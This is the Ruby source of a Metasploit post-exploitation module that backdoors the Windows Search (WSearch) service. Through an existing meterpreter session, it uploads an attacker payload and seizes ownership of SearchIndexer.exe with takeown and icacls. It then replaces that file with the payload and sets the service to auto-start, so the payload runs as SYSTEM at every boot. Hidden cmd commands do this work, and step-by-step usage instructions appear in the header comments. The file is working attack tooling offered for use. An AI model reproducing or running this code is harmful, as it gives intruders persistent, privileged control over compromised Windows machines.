##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
##
# [ persist_priv_Wsearch.rb ]
# $Id$ 1.7 Author: pedr0 Ubuntu aka: [r00t-3xp10it]
# Hosted By: peterubuntu10[at]sourceforge[dot]net
# http://sourceforge.net/projects/msf-auxiliarys/
# https://sourceforge.net/p/msf-auxiliarys/repository/ci/master/tree/persist_priv_Wsearch.rb
#
#
# ---
# [ POST-EXPLOITATION MODULE DESCRIPTION ]
# This post-exploitation module requires a meterpreter session to be able to upload/inject our payload.exe
# into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name
# and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring.
# To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name
# of the service. 'Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
#
#
# [ HOW TO EXPLOIT THE VULNERABILITY ]
# 1º - exploit target system with one meterpreter payload (open session)
# 2º - build new payload called: SearchIndexer.exe (2º payload to send to target)
# 3º - start conrrespondent handler to wait for the 2º payload connection.
# 4º - use post/windows/escalate/persist_priv_Wsearch (set options required)
# 5º - set UPLOAD_PATH /root/SearchIndexer.exe (2º payload to send to target)
# 6º - exploit
#
#
# [ MODULE OPTIONS ]
# HINT: to unset all values use: msf post(persist_priv_Wsearch) > unset all
# Input The session number to run this module on => set SESSION 3
# Input full path of SearchIndexer.exe to upload => set UPLOAD_PATH /root/shell/output/SearchIndexer.exe
# Check WSearch service auto-start status? => set SERVICE_STATUS true
# revert WSearch service executable to default? => set DELETE_PERSISTENCE true
# ---
#
#
# [ PORT MODULE TO METASPLOIT DATABASE ]
# Kali linux COPY TO: /usr/share/metasploit-framework/modules/post/windows/escalate/persist_priv_Wsearch.rb
# Ubuntu linux COPY TO: /opt/metasploit/apps/pro/msf3/modules/post/windows/escalate/persist_priv_Wsearch.rb
# Manually Path Search: root@kali:~# locate modules/post/windows/escalate
#
#
# [ LOAD/USE AUXILIARY ]
# meterpreter > background
# msf exploit(handler) > reload_all
# msf exploit(handler) > use post/windows/escalate/persist_priv_Wsearch
# msf post(persist_priv_Wsearch) > info
# msf post(persist_priv_Wsearch) > show options
# msf post(persist_priv_Wsearch) > show advanced options
# msf post(persist_priv_Wsearch) > set [option(s)]
# msf post(persist_priv_Wsearch) > exploit
##
# ----------------------------
# Module Dependencies/requires
# ----------------------------
require 'rex'
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
# ----------------------------------
# Metasploit Class name and includes
# ----------------------------------
class MetasploitModule < Msf::Post
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::Windows::Priv
# -----------------------------------------
# Building Metasploit/Armitage info GUI/CLI
# -----------------------------------------
def initialize(info={})
super(update_info(info,
'Name' => 'persistence/privilege_escalation in WSearch',
'Description' => %q{
This post-exploitation module requires a meterpreter session to be able to upload/inject our SearchIndexer.exe into WSearch (windows search) service. The WSearch service uses one executable.exe set in binary_path_name and runs it has local/system at startup, this enables local privilege_escalation/persistence_backdooring. To exploit this vulnerability a local attacker needs to inject/replace the executable file into the binary_path_name of the service. Rebooting the system or restarting the service will run the malicious executable with elevated privileges."WARNING: payload to send must be named as: SearchIndexer.exe"
},
'License' => UNKNOWN_LICENSE,
'Author' =>
[
'peterubuntu10[at]sourceforge[dot]net', # post-module author/vuln discover
'Special thanks: milton_barra|Chaitanya Haritash', # testing/debug module
],
'Version' => '$Revision: 1.7',
'DisclosureDate' => 'out 27 2016',
'Platform' => 'windows',
'Arch' => 'x86_x64',
'Privileged' => 'false',
'Targets' =>
[
# Tested againts windows 7 (32 bits) | XP SP1 (32 bits)
[ 'Windows XP', 'Windows VISTA', 'Windows 7', 'Windows 8', 'Windows 9', 'Windows 10' ]
],
'DefaultTarget' => '3', # default its to run againts windows 7 (32 bits)
'References' =>
[
[ 'URL', 'http://goo.gl/OvgbW' ],
[ 'URL', 'http://sourceforge.net/users/peterubuntu10' ],
[ 'URL', 'http://sourceforge.net/projects/msf-auxiliarys/repository' ],
[ 'URL', 'http://computerstepbystep.com/windows_search_service.html' ],
[ 'URL', 'http://www.winhelponline.com/blog/take-ownership-of-file-or-folder/' ],
[ 'URL', 'https://technet.microsoft.com/en-us/library/cc753525%28v=ws.11%29.aspx' ]
],
'DefaultOptions' =>
{
'SESSION' => '1', # Default its to run againts session 1
},
'SessionTypes' => [ 'meterpreter' ]
))
register_options(
[
OptString.new('SESSION', [ true, 'The session number to run this module on']),
OptString.new('UPLOAD_PATH', [ false, 'The full path of your SearchIndexer.exe to be uploaded']),
OptBool.new('SERVICE_STATUS', [ false, 'Check remote WSearch service settings?' , false])
], self.class)
register_advanced_options(
[
OptBool.new('DELETE_PERSISTENCE', [ false, 'revert WSearch service executable to default?' , false])
], self.class)
end
# ----------------------------------------------
# Check for proper target Platform (win32|win64)
# ----------------------------------------------
def unsupported
session = client
sys = session.sys.config.sysinfo
print_warning("[ABORT]: Operative System => #{sys['OS']}")
print_error("Only windows systems are supported by this module...")
print_error("Please execute [info] for further information...")
print_line("")
raise Rex::Script::Completed
end
# ----------------------------------------------------------
# INJECT/UPLOAD OUR EXECUTABLE INTO WSearch BINARY_PATH_NAME
# ----------------------------------------------------------
def ls_stage1
r=''
session = client
upath = datastore['UPLOAD_PATH']
bin_path = "%systemroot%\\system32\\SearchIndexer.exe"
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['UPLOAD_PATH'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set UPLOAD_PATH option...")
return nil
else
# elevate privs befor running module
print_status("Persisting your payload in target system.")
client.sys.config.getprivs.each do |priv|
end
end
# check target system language to define key variable to use in (icacls) syntax...
check_lang = registry_getvaldata("HKLM\\System\\CurrentControlSet\\Control\\Nls\\Language","InstallLanguage")
if check_lang == "0816" || check_lang == "0416"
print_warning("Target System language detected:Portuguese...")
key = "Administrador"
elsif check_lang == "0409" || check_lang == "0009" || check_lang == "0809" || check_lang == "0C09" || check_lang == "1009" || check_lang == "0421" || check_lang == "0415"
print_warning("Target System language detected:English...")
key = "Administrator"
elsif check_lang == "0410"
print_warning("Target System language detected:Italian...")
key = "Amministratore"
elsif check_lang == "040C" || check_lang == "0413"
print_warning("Target System language detected:French...")
key = "Administrateur"
elsif check_lang == "0407"
print_warning("Target System language detected:German...")
key = "Verwalter"
else
print_error("post-module cant define target system language...")
print_warning("defaulting key to english language [Administrator]")
key = "Administrator"
end
# list of arrays to execute
arrays = [
'ren %systemroot%\\system32\\SearchIndexer.exe SearchIndexer.bk',
'move /y %temp%\\SearchIndexer.exe %systemroot%\\system32\\SearchIndexer.exe',
'sc start WSearch'
]
print_good("Stoping WSearch remote service...")
# stop service to enable proper configuration
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
print_good("Setting service to auto-start with windows...")
# set service to auto-start with windows
r = session.sys.process.execute("cmd.exe /c sc config WSearch start= auto", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
# upload our executable into 'temp' folder...
print_good("Uploading payload to target temp folder...")
client.fs.file.upload("%temp%\\SearchIndexer.exe","#{upath}")
# takeown of SearchIndexer.exe
print_good("Takeowner of SearchIndexer to replace it by our executable.")
print_good(" Execute => takeown /f #{bin_path}")
r = session.sys.process.execute("cmd.exe /c takeown /f #{bin_path}", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
# grant admin permitions (icacls)
print_good(" Execute => icacls #{bin_path} /grant #{key}:(F)")
r = session.sys.process.execute("cmd.exe /c icacls #{bin_path} /grant #{key}:(F)", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
# loop funtion to manipulate file permitions in target system.
session.response_timeout=120
arrays.each do |cmd|
begin
# execute cmd prompt in a hidden channelized windows
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
print_good(" Execute => #{cmd}")
# close client channel when done
while(d = r.channel.read)
break if d == ""
end
end
end
# task completed successefully...
print_good("Restarting WSearch service...")
sleep(2.0)
print_warning("WSearch service [binary_path_name] backdoored successefuly...")
print_status("Setup one handler and Wait everytime that system restarts OR")
print_status("Setup one handler and restart Wsearch service: sc start WSearch")
print_line("")
# close channel when done
r.channel.close
r.close
# error exception funtion
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
# ---------------------------------------------------------
# DELETE/REVERT WSEARCH SERVICE EXECUTABLE TO DEFAULT STAGE
# ---------------------------------------------------------
def ls_stage2
r=''
session = client
backup = "%systemroot%\\system32\\SearchIndexer.bk"
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['DELETE_PERSISTENCE'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set DELETE_PERSISTENCE option...")
return nil
else
# elevate privs befor running module
print_status("Revert WSearch service executable to default stage")
client.sys.config.getprivs.each do |priv|
end
end
# list of arrays to execute
arrays = [
'takeown /f %systemroot%\\system32\\SearchIndexer.exe',
'ren %systemroot%\\system32\\SearchIndexer.bk SearchIndexer.exe',
'sc config WSearch start= demand',
'sc start WSearch'
]
# check if backup file exist on target
if client.fs.file.exist?("#{backup}")
print_warning("Backup SearchIndexer.bk file:found...")
print_good("Stoping WSearch remote service...")
# stop service to enable proper configuration
r = session.sys.process.execute("cmd.exe /c sc stop WSearch", nil, {'Hidden' => true, 'Channelized' => true})
sleep(2.0)
# loop funtion to manipulate file permitions in target system.
print_good("Takeowner of SearchIndexer service executable...")
session.response_timeout=120
arrays.each do |cmd|
begin
# execute cmd prompt in a hidden channelized windows
r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true})
print_good(" Execute => #{cmd}")
# close client channel when done
while(d = r.channel.read)
break if d == ""
end
end
end
print_good("Restarting WSearch service...")
sleep(2.0)
print_warning("WSearch service executable reverted to default stage...")
print_status("we have lost our backdoor :( but feeded the white hacker within :D")
print_line("")
# close channel when done
r.channel.close
r.close
else
print_error("Backupfile: SearchIndexer.bk => NOT FOUND...")
print_warning("post-module did not have reverted the service default executable.")
print_line("")
end
# error exception funtion
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
# ------------------------------------
# CHECK/DISPLAY WSEARCH SERVICE STATUS
# ------------------------------------
def ls_stage3
r=''
serv="WSearch"
session = client
sysnfo = session.sys.config.sysinfo
# check for proper config settings enter
# to prevent 'unset all' from deleting default options...
if datastore['SERVICE_STATUS'] == 'nil'
print_error("Options not configurated correctly...")
print_warning("Please set SERVICE_STATUS option...")
return nil
else
print_status("Checking WSearch service settings...")
sleep(2.0)
end
print_warning("Reading service hive registry keys...")
# search in target regedit for WSearch auto-start service status
# Value:Start - dword: 2 - auto | 3 - manual | 4 - disabled
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 2
startup = "auto_start"
end
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 3
startup = "manual_start"
end
if registry_getvaldata("HKLM\\System\\CurrentControlSet\\services\\WSearch", "Start") == 4
startup = "disabled_start"
else
startup = "unknow"
print_error("post-module cant define service auto_start status...")
print_warning("enter into a shell session and execute: sc qc WSearch status")
end
sleep(1.0)
# display WSearch service current settings.
print_line("")
print_line(" :host => #{sysnfo['Computer']}")
print_line(" :service => #{serv}")
print_line(" :status => running")
print_line(" :startup => #{startup}")
print_line("")
# error exception funtion
rescue ::Exception => e
print_error("Error: #{e.class} #{e}")
end
# ------------------------------------------------
# MAIN DISPLAY WINDOWS (ALL MODULES - def run)
# Running sellected modules against session target
# ------------------------------------------------
def run
session = client
# Check for proper target Platform
unsupported if client.platform !~ /win32|win64/i
# Variable declarations (msf API calls)
sysnfo = session.sys.config.sysinfo
runtor = client.sys.config.getuid
runsession = client.session_host
directory = client.fs.dir.pwd
# Print banner and scan results on screen
print_line(" +---------------------------------------------+")
print_line(" | PERSISTENCE + PRIV_ESCAL IN WSEARCH SERVICE |")
print_line(" | Author: Pedro Ubuntu [ r00t-3xp10it ] |")
print_line(" +---------------------------------------------+")
print_line("")
print_line(" Running on session : #{datastore['SESSION']}")
print_line(" Computer : #{sysnfo['Computer']}")
print_line(" Operative System : #{sysnfo['OS']}")
print_line(" Target IP addr : #{runsession}")
print_line(" Payload directory : #{directory}")
print_line(" Client UID : #{runtor}")
print_line("")
print_line("")
# ------------------------------------
# Selected settings to run
# ------------------------------------
if datastore['UPLOAD_PATH']
ls_stage1
end
if datastore['DELETE_PERSISTENCE']
ls_stage2
end
if datastore['SERVICE_STATUS']
ls_stage3
end
end
end